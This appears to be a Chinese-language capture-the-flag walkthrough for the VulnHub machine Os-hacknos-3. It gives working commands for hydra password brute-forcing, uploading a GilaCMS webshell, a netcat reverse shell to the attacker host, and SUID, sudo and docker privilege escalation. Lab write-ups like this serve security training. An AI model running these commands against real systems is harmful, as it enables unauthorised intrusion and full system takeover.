vulnhub靶场(Os-hacknos-3)
一.信息收集:
1.使用nmap扫描:
使用nmap扫描发现目标机器开放了22和80端口
访问后发现除一段文字就没有其他东西了
2.使用dirsearch扫目录:
使用dirsearch扫描目录发现没有什么有用的东西
在访问websec这个目录发现了新东西
在次扫描新目录发现有个admin目录,应该是后台登陆的页面
发现其真的是一个登陆页
竟然是登陆那就尝试爆破一下,在websec那个页面下发现了一个邮箱
二.漏洞探测:
1.使用cewl工具生成可能的密码:
cewl http://192.168.80.140/websec/ > cewl.txt
2.使用九头蛇爆破密码:
hydra -l contact@hacknos.com -P cewl.txt 192.168.5.134 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V
通过爆破拿到了密码为Securityx
通过搜索知道了GilaCMS存在sql注入和文件上传和本地文件包含漏洞
三.漏洞利用:
1.文件上传:
在上传图片的地方尝试以后发现他无法上传php的文件用的是后端白名单
2.文件读取:
使用抓包工具抓取删除的数据包
读取他的etc/passwd,但是没有什么可以利用的
3.文件管理:
发现有一个可以上传删除文件的模块
上传一个一句话木马,发现无法访问
因为assets目录中的.htaccess
文件禁止访问php文件,我们把他里面的代码全部注释掉
使用了蚁剑发现无法连接使用哥斯拉成功连接了
这里拿到了一个普通用户的密码
四.权限提升:
这里使用反弹shell或者远控来拿到一个完整的shell
先在本地使用nc监听
nc -lvnp 9000
在webshell中输入
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc 192.168.80.130 9000 >/tmp/f
其中192.168.80.130是攻击机kali的ip
然后查找可供提权的命令
find /usr/bin -type f -perm -u=s 2>/dev/null
发现没有可行的命令
1.cpulimit + suid:
cpulimit -l 100 -f -- /bin/sh -p
2.利用suid 文件的特性进行提权:
在本地kali里面使用vim cpu.c
进行编辑
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>int main()
{setuid(0);setgid(0);system("/bin/bash");return 0;
}
使用gcc cpu.c -o exp
编译为exp,上传之后使用chmod +x exp
添加运行权限,使用cpulimit -l 100 -f ./exp
进行提权
我看别的师父可以成功但是我这里没有成功
3.sudo 提权:
我们尝试登陆blackdevil这个普通用户
根据网上大佬的提示在/var/local/database
中发现了经过加密的内容
在这个网站解密我们拿到了用户的密码
成功登陆
使用sudo-l查询发现他可以直接用sudo切换为root
sudo su root
4.使用docker提权:
使用blackdevil用户执行将一个主机的根目录挂载到容器下
docker run -it -v /:/mnt alpine /bin/sh
由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
docker run -it -v /:/mnt 镜像id